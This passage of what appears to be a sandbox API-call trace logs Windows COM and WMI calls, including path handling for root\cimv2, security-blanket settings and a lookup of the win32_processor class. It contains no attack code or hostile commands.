puBuffLength=0x36ea10*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0077.510] WbemDefPath:IUnknown:Release (This=0x52efda8) returned 0x1 [0077.510] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2c8 [0077.510] GetLastError () returned 0x0 [0077.510] SetEvent (hEvent=0x290) returned 1 [0077.510] GetLastError () returned 0x0 [0077.510] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x36e978*=0x2c8, lpdwindex=0x36e730 | out: lpdwindex=0x36e730) returned 0x0 [0077.512] CoGetContextToken (in: pToken=0x36e7c8 | out: pToken=0x36e7c8) returned 0x0 [0077.512] CoGetContextToken (in: pToken=0x36e788 | out: pToken=0x36e788) returned 0x0 [0077.512] WbemDefPath:IUnknown:AddRef (This=0x52edaa8) returned 0x2 [0077.512] WbemDefPath:IUnknown:QueryInterface (in: This=0x52edaa8, riid=0x36e804*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e800 | out: ppvObject=0x36e800*=0x52edaa8) returned 0x0 [0077.512] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x2 [0077.513] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x1 [0077.513] CoGetContextToken (in: pToken=0x36e848 | out: pToken=0x36e848) returned 0x0 [0077.513] CoGetContextToken (in: pToken=0x36e808 | out: pToken=0x36e808) returned 0x0 [0077.513] WbemDefPath:IUnknown:AddRef (This=0x52edaa8) returned 0x2 [0077.513] WbemDefPath:IUnknown:QueryInterface (in: This=0x52edaa8, riid=0x36e884*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e880 | out: ppvObject=0x36e880*=0x52edaa8) returned 0x0 [0077.513] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x2 [0077.513] WbemDefPath:IWbemPath:SetText (This=0x52edaa8, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0077.513] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x1 [0077.513] CoGetContextToken (in: pToken=0x36e838 | out: pToken=0x36e838) returned 0x0 [0077.513] CoGetContextToken (in: pToken=0x36e7f8 | out: pToken=0x36e7f8) returned 0x0 [0077.513] WbemDefPath:IUnknown:AddRef (This=0x52edaa8) returned 0x2 [0077.513] WbemDefPath:IUnknown:QueryInterface (in: This=0x52edaa8, riid=0x36e874*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e870 | out: ppvObject=0x36e870*=0x52edaa8) returned 0x0 [0077.513] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x2 [0077.513] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x52edaa8, puCount=0x36e9ec | out: puCount=0x36e9ec*=0x2) returned 0x0 [0077.513] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x1 [0077.514] CoGetContextToken (in: pToken=0x36e828 | out: pToken=0x36e828) returned 0x0 [0077.514] CoGetContextToken (in: pToken=0x36e7e8 | out: pToken=0x36e7e8) returned 0x0 [0077.514] WbemDefPath:IUnknown:AddRef (This=0x52edaa8) returned 0x2 [0077.514] WbemDefPath:IUnknown:QueryInterface (in: This=0x52edaa8, riid=0x36e864*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e860 | out: ppvObject=0x36e860*=0x52edaa8) returned 0x0 [0077.514] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x2 [0077.514] WbemDefPath:IWbemPath:GetText (in: This=0x52edaa8, lFlags=4, puBuffLength=0x36e9e8*=0x0, pszText=0x0 | out: puBuffLength=0x36e9e8*=0xf, pszText=0x0) returned 0x0 [0077.514] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x1 [0077.514] CoGetContextToken (in: pToken=0x36e828 | out: pToken=0x36e828) returned 0x0 [0077.514] CoGetContextToken (in: pToken=0x36e7e8 | out: pToken=0x36e7e8) returned 0x0 [0077.514] WbemDefPath:IUnknown:AddRef (This=0x52edaa8) returned 0x2 [0077.514] WbemDefPath:IUnknown:QueryInterface (in: This=0x52edaa8, riid=0x36e864*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e860 | out: ppvObject=0x36e860*=0x52edaa8) returned 0x0 [0077.514] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x2 [0077.514] WbemDefPath:IWbemPath:GetText (in: This=0x52edaa8, lFlags=4, puBuffLength=0x36e9e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x36e9e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0077.514] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x1 [0077.522] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x36e8e8*=0x2dc, lpdwindex=0x36e744 | out: lpdwindex=0x36e744) returned 0x0 [0077.989] CoGetContextToken (in: pToken=0x36e96c | out: pToken=0x36e96c) returned 0x0 [0077.989] CoGetContextToken (in: pToken=0x36e918 | out: pToken=0x36e918) returned 0x0 [0077.989] IUnknown:QueryInterface (in: This=0x859828, riid=0x73c7beb4*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e8ec | out: ppvObject=0x36e8ec*=0x859838) returned 0x0 [0077.989] CObjectContext::ContextCallback () returned 0x0 [0077.996] IUnknown:Release (This=0x859838) returned 0x1 [0077.996] CoUnmarshalInterface (in: pStm=0x8b5270, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x36e970 | out: ppv=0x36e970*=0x8c4864) returned 0x0 [0077.996] CoMarshalInterface (pStm=0x8b5270, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x8c4864, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0077.997] WbemLocator:IUnknown:QueryInterface (in: This=0x8c4864, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e590 | out: ppvObject=0x36e590*=0x8c4864) returned 0x0 [0077.997] WbemLocator:IUnknown:QueryInterface (in: This=0x8c4864, riid=0x73be4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x36e54c | out: ppvObject=0x36e54c*=0x0) returned 0x80004002 [0077.997] WbemLocator:IUnknown:QueryInterface (in: This=0x8c4864, riid=0x73b10b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x36e440 | out: ppvObject=0x36e440*=0x0) returned 0x80004002 [0077.998] WbemLocator:IUnknown:AddRef (This=0x8c4864) returned 0x3 [0077.998] CoGetContextToken (in: pToken=0x36e3d8 | out: pToken=0x36e3d8) returned 0x0 [0077.998] CoGetContextToken (in: pToken=0x36e39c | out: pToken=0x36e39c) returned 0x0 [0077.998] IUnknown:QueryInterface (in: This=0x8596b8, riid=0x73be3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e3d0 | out: ppvObject=0x36e3d0*=0x8596c4) returned 0x0 [0077.998] IComThreadingInfo:GetCurrentApartmentType (in: This=0x8596c4, pAptType=0x36e400 | out: pAptType=0x36e400*=3) returned 0x0 [0077.998] IUnknown:Release (This=0x8596c4) returned 0x1 [0077.998] WbemLocator:IUnknown:QueryInterface (in: This=0x8c4864, riid=0x73ac23cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e3c0 | out: ppvObject=0x36e3c0*=0x8c47c4) returned 0x0 [0077.998] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x8c47c4, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x36e3c8 | out: pCid=0x36e3c8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0077.998] WbemLocator:IUnknown:Release (This=0x8c47c4) returned 0x3 [0077.998] CoGetContextToken (in: pToken=0x36e3d0 | out: pToken=0x36e3d0) returned 0x0 [0077.998] WbemLocator:IUnknown:AddRef (This=0x8c4864) returned 0x4 [0077.999] WbemLocator:IUnknown:QueryInterface (in: This=0x8c4864, riid=0x73b1767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e444 | out: ppvObject=0x36e444*=0x8c484c) returned 0x0 [0077.999] WbemLocator:IUnknown:Release (This=0x8c4864) returned 0x4 [0077.999] WbemLocator:IRpcOptions:Query (in: This=0x8c484c, pPrx=0x8c4864, dwProperty=2, pdwValue=0x36e468 | out: pdwValue=0x36e468) returned 0x0 [0077.999] WbemLocator:IUnknown:Release (This=0x8c484c) returned 0x3 [0077.999] WbemLocator:IUnknown:Release (This=0x8c4864) returned 0x2 [0077.999] WbemLocator:IUnknown:Release (This=0x8c4864) returned 0x1 [0077.999] CoGetContextToken (in: pToken=0x36e42c | out: pToken=0x36e42c) returned 0x0 [0077.999] WbemLocator:IUnknown:AddRef (This=0x8c4864) returned 0x2 [0078.000] WbemLocator:IUnknown:QueryInterface (in: This=0x8c4864, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e6d0 | out: ppvObject=0x36e6d0*=0x8c4844) returned 0x0 [0078.000] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x8c4844, pProxy=0x8c4864, pAuthnSvc=0x36e718, pAuthzSvc=0x36e714, pServerPrincName=0x36e724, pAuthnLevel=0x36e71c, pImpLevel=0x36e708, pAuthInfo=0x36e70c, pCapabilites=0x36e710 | out: pAuthnSvc=0x36e718*=0xa, pAuthzSvc=0x36e714*=0x0, pServerPrincName=0x36e724, pAuthnLevel=0x36e71c*=0x6, pImpLevel=0x36e708*=0x2, pAuthInfo=0x36e70c, pCapabilites=0x36e710*=0x1) returned 0x0 [0078.000] WbemLocator:IUnknown:Release (This=0x8c4844) returned 0x2 [0078.000] WbemLocator:IUnknown:QueryInterface (in: This=0x8c4864, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e6c4 | out: ppvObject=0x36e6c4*=0x8c4864) returned 0x0 [0078.000] WbemLocator:IUnknown:QueryInterface (in: This=0x8c4864, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e6c0 | out: ppvObject=0x36e6c0*=0x8c4844) returned 0x0 [0078.000] WbemLocator:IClientSecurity:SetBlanket (This=0x8c4844, pProxy=0x8c4864, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0078.000] WbemLocator:IUnknown:Release (This=0x8c4844) returned 0x3 [0078.000] WbemLocator:IUnknown:Release (This=0x8c4864) returned 0x2 [0078.000] CoTaskMemFree (pv=0x88eb30) [0078.000] WbemLocator:IUnknown:Release (This=0x8c4864) returned 0x1 [0078.005] SysStringLen (param_1=0x0) returned 0x0 [0078.007] GetLastError () returned 0x7e [0078.007] CoGetContextToken (in: pToken=0x36e84c | out: pToken=0x36e84c) returned 0x0 [0078.007] CoGetContextToken (in: pToken=0x36e80c | out: pToken=0x36e80c) returned 0x0 [0078.007] WbemLocator:IUnknown:AddRef (This=0x8c4864) returned 0x2 [0078.007] WbemLocator:IUnknown:QueryInterface (in: This=0x8c4864, riid=0x36e888*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x36e884 | out: ppvObject=0x36e884*=0x52edc84) returned 0x0 [0078.008] WbemLocator:IUnknown:Release (This=0x8c4864) returned 0x2 [0078.008] WbemLocator:IUnknown:Release (This=0x52edc84) returned 0x1 [0078.008] CoGetContextToken (in: pToken=0x36e3e0 | out: pToken=0x36e3e0) returned 0x0 [0078.008] CoGetContextToken (in: pToken=0x36e3a0 | out: pToken=0x36e3a0) returned 0x0 [0078.008] WbemLocator:IUnknown:AddRef (This=0x8c4864) returned 0x2 [0078.008] WbemLocator:IUnknown:QueryInterface (in: This=0x8c4864, riid=0x36e41c*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x36e418 | out: ppvObject=0x36e418*=0x52edc84) returned 0x0 [0078.008] WbemLocator:IUnknown:Release (This=0x8c4864) returned 0x2 [0078.008] WbemLocator:IUnknown:AddRef (This=0x52edc84) returned 0x3 [0078.008] WbemLocator:IUnknown:QueryInterface (in: This=0x52edc84, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e6d0 | out: ppvObject=0x36e6d0*=0x8c4844) returned 0x0 [0078.008] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x8c4844, pProxy=0x52edc84, pAuthnSvc=0x36e718, pAuthzSvc=0x36e714, pServerPrincName=0x36e724, pAuthnLevel=0x36e71c, pImpLevel=0x36e708, pAuthInfo=0x36e70c, pCapabilites=0x36e710 | out: pAuthnSvc=0x36e718*=0xa, pAuthzSvc=0x36e714*=0x0, pServerPrincName=0x36e724, pAuthnLevel=0x36e71c*=0x6, pImpLevel=0x36e708*=0x2, pAuthInfo=0x36e70c, pCapabilites=0x36e710*=0x1) returned 0x0 [0078.008] WbemLocator:IUnknown:Release (This=0x8c4844) returned 0x3 [0078.008] WbemLocator:IUnknown:QueryInterface (in: This=0x52edc84, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e6c4 | out: ppvObject=0x36e6c4*=0x8c4864) returned 0x0 [0078.008] WbemLocator:IUnknown:QueryInterface (in: This=0x52edc84, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e6c0 | out: ppvObject=0x36e6c0*=0x8c4844) returned 0x0 [0078.008] WbemLocator:IClientSecurity:SetBlanket (This=0x8c4844, pProxy=0x52edc84, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0078.009] WbemLocator:IUnknown:Release (This=0x8c4844) returned 0x4 [0078.009] WbemLocator:IUnknown:Release (This=0x8c4864) returned 0x3 [0078.009] CoTaskMemFree (pv=0x88ec80) [0078.009] WbemLocator:IUnknown:Release (This=0x52edc84) returned 0x2 [0078.009] SysStringLen (param_1=0x0) returned 0x0 [0078.009] GetLastError () returned 0x0 [0078.010] CoGetContextToken (in: pToken=0x36e850 | out: pToken=0x36e850) returned 0x0 [0078.010] CoGetContextToken (in: pToken=0x36e810 | out: pToken=0x36e810) returned 0x0 [0078.010] WbemDefPath:IUnknown:AddRef (This=0x52edaa8) returned 0x3 [0078.010] WbemDefPath:IUnknown:QueryInterface (in: This=0x52edaa8, riid=0x36e88c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e888 | out: ppvObject=0x36e888*=0x52edaa8) returned 0x0 [0078.010] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x3 [0078.010] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x52edaa8, puCount=0x36ea04 | out: puCount=0x36ea04*=0x2) returned 0x0 [0078.010] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x2 [0078.010] CoGetContextToken (in: pToken=0x36e840 | out: pToken=0x36e840) returned 0x0 [0078.010] CoGetContextToken (in: pToken=0x36e800 | out: pToken=0x36e800) returned 0x0 [0078.010] WbemDefPath:IUnknown:AddRef (This=0x52edaa8) returned 0x3 [0078.010] WbemDefPath:IUnknown:QueryInterface (in: This=0x52edaa8, riid=0x36e87c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e878 | out: ppvObject=0x36e878*=0x52edaa8) returned 0x0 [0078.010] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x3 [0078.010] WbemDefPath:IWbemPath:GetText (in: This=0x52edaa8, lFlags=4, puBuffLength=0x36ea00*=0x0, pszText=0x0 | out: puBuffLength=0x36ea00*=0xf, pszText=0x0) returned 0x0 [0078.010] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x2 [0078.010] CoGetContextToken (in: pToken=0x36e840 | out: pToken=0x36e840) returned 0x0 [0078.010] CoGetContextToken (in: pToken=0x36e800 | out: pToken=0x36e800) returned 0x0 [0078.011] WbemDefPath:IUnknown:AddRef (This=0x52edaa8) returned 0x3 [0078.011] WbemDefPath:IUnknown:QueryInterface (in: This=0x52edaa8, riid=0x36e87c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e878 | out: ppvObject=0x36e878*=0x52edaa8) returned 0x0 [0078.011] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x3 [0078.011] WbemDefPath:IWbemPath:GetText (in: This=0x52edaa8, lFlags=4, puBuffLength=0x36ea00*=0xf, pszText="00000000000000" | out: puBuffLength=0x36ea00*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0078.011] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x2 [0078.011] CoGetContextToken (in: pToken=0x36e8dc | out: pToken=0x36e8dc) returned 0x0 [0078.011] CoUnmarshalInterface (in: pStm=0x8b5270, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x36e8e0 | out: ppv=0x36e8e0*=0x8c4864) returned 0x0 [0078.011] CoMarshalInterface (pStm=0x8b5270, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x8c4864, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0078.011] WbemLocator:IUnknown:QueryInterface (in: This=0x8c4864, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e500 | out: ppvObject=0x36e500*=0x8c4864) returned 0x0 [0078.012] WbemLocator:IUnknown:Release (This=0x8c4864) returned 0x3 [0078.012] WbemLocator:IUnknown:Release (This=0x8c4864) returned 0x2 [0078.012] CoGetContextToken (in: pToken=0x36e39c | out: pToken=0x36e39c) returned 0x0 [0078.012] WbemLocator:IUnknown:AddRef (This=0x8c4864) returned 0x3 [0078.012] WbemLocator:IUnknown:QueryInterface (in: This=0x8c4864, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e640 | out: ppvObject=0x36e640*=0x8c4844) returned 0x0 [0078.012] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x8c4844, pProxy=0x8c4864, pAuthnSvc=0x36e688, pAuthzSvc=0x36e684, pServerPrincName=0x36e694, pAuthnLevel=0x36e68c, pImpLevel=0x36e678, pAuthInfo=0x36e67c, pCapabilites=0x36e680 | out: pAuthnSvc=0x36e688*=0xa, pAuthzSvc=0x36e684*=0x0, pServerPrincName=0x36e694, pAuthnLevel=0x36e68c*=0x6, pImpLevel=0x36e678*=0x3, pAuthInfo=0x36e67c, pCapabilites=0x36e680*=0x20) returned 0x0 [0078.012] WbemLocator:IUnknown:Release (This=0x8c4844) returned 0x3 [0078.012] WbemLocator:IUnknown:QueryInterface (in: This=0x8c4864, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e634 | out: ppvObject=0x36e634*=0x8c4864) returned 0x0 [0078.012] WbemLocator:IUnknown:QueryInterface (in: This=0x8c4864, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e630 | out: ppvObject=0x36e630*=0x8c4844) returned 0x0 [0078.012] WbemLocator:IClientSecurity:SetBlanket (This=0x8c4844, pProxy=0x8c4864, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0078.012] WbemLocator:IUnknown:Release (This=0x8c4844) returned 0x4 [0078.012] WbemLocator:IUnknown:Release (This=0x8c4864) returned 0x3 [0078.012] WbemLocator:IUnknown:Release (This=0x8c4864) returned 0x2 [0078.013] SysStringLen (param_1=0x0) returned 0x0 [0078.013] GetLastError () returned 0x0 [0078.013] CoGetContextToken (in: pToken=0x36e7bc | out: pToken=0x36e7bc) returned 0x0 [0078.013] WbemLocator:IUnknown:AddRef (This=0x52edc84) returned 0x3 [0078.013] WbemLocator:IUnknown:Release (This=0x52edc84) returned 0x2 [0078.013] CoGetContextToken (in: pToken=0x36e350 | out: pToken=0x36e350) returned 0x0 [0078.013] WbemLocator:IUnknown:AddRef (This=0x52edc84) returned 0x3 [0078.013] WbemLocator:IUnknown:QueryInterface (in: This=0x52edc84, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e640 | out: ppvObject=0x36e640*=0x8c4844) returned 0x0 [0078.013] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x8c4844, pProxy=0x52edc84, pAuthnSvc=0x36e688, pAuthzSvc=0x36e684, pServerPrincName=0x36e694, pAuthnLevel=0x36e68c, pImpLevel=0x36e678, pAuthInfo=0x36e67c, pCapabilites=0x36e680 | out: pAuthnSvc=0x36e688*=0xa, pAuthzSvc=0x36e684*=0x0, pServerPrincName=0x36e694, pAuthnLevel=0x36e68c*=0x6, pImpLevel=0x36e678*=0x3, pAuthInfo=0x36e67c, pCapabilites=0x36e680*=0x20) returned 0x0 [0078.013] WbemLocator:IUnknown:Release (This=0x8c4844) returned 0x3 [0078.013] WbemLocator:IUnknown:QueryInterface (in: This=0x52edc84, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e634 | out: ppvObject=0x36e634*=0x8c4864) returned 0x0 [0078.013] WbemLocator:IUnknown:QueryInterface (in: This=0x52edc84, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e630 | out: ppvObject=0x36e630*=0x8c4844) returned 0x0 [0078.013] WbemLocator:IClientSecurity:SetBlanket (This=0x8c4844, pProxy=0x52edc84, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0078.013] WbemLocator:IUnknown:Release (This=0x8c4844) returned 0x4 [0078.013] WbemLocator:IUnknown:Release (This=0x8c4864) returned 0x3 [0078.014] WbemLocator:IUnknown:Release (This=0x52edc84) returned 0x2 [0078.014] SysStringLen (param_1=0x0) returned 0x0 [0078.014] GetLastError () returned 0x0 [0078.014] CoGetContextToken (in: pToken=0x36e848 | out: pToken=0x36e848) returned 0x0 [0078.014] CoGetContextToken (in: pToken=0x36e808 | out: pToken=0x36e808) returned 0x0 [0078.014] WbemDefPath:IUnknown:AddRef (This=0x52efd10) returned 0x2 [0078.014] WbemDefPath:IUnknown:QueryInterface (in: This=0x52efd10, riid=0x36e884*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e880 | out: ppvObject=0x36e880*=0x52efd10) returned 0x0 [0078.014] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x2 [0078.014] WbemDefPath:IWbemPath:GetText (in: This=0x52efd10, lFlags=2, puBuffLength=0x36ea08*=0x0, pszText=0x0 | out: puBuffLength=0x36ea08*=0x10, pszText=0x0) returned 0x0 [0078.014] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x1 [0078.015] CoGetContextToken (in: pToken=0x36e848 | out: pToken=0x36e848) returned 0x0 [0078.015] CoGetContextToken (in: pToken=0x36e808 | out: pToken=0x36e808) returned 0x0 [0078.015] WbemDefPath:IUnknown:AddRef (This=0x52efd10) returned 0x2 [0078.015] WbemDefPath:IUnknown:QueryInterface (in: This=0x52efd10, riid=0x36e884*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e880 | out: ppvObject=0x36e880*=0x52efd10) returned 0x0 [0078.015] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x2 [0078.015] WbemDefPath:IWbemPath:GetText (in: This=0x52efd10, lFlags=2, puBuffLength=0x36ea08*=0x10, pszText="000000000000000" | out: puBuffLength=0x36ea08*=0x10, pszText="win32_processor") returned 0x0 [0078.015] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x1 [0078.020] CoGetContextToken (in: pToken=0x36e63c | out: pToken=0x36e63c) returned 0x0 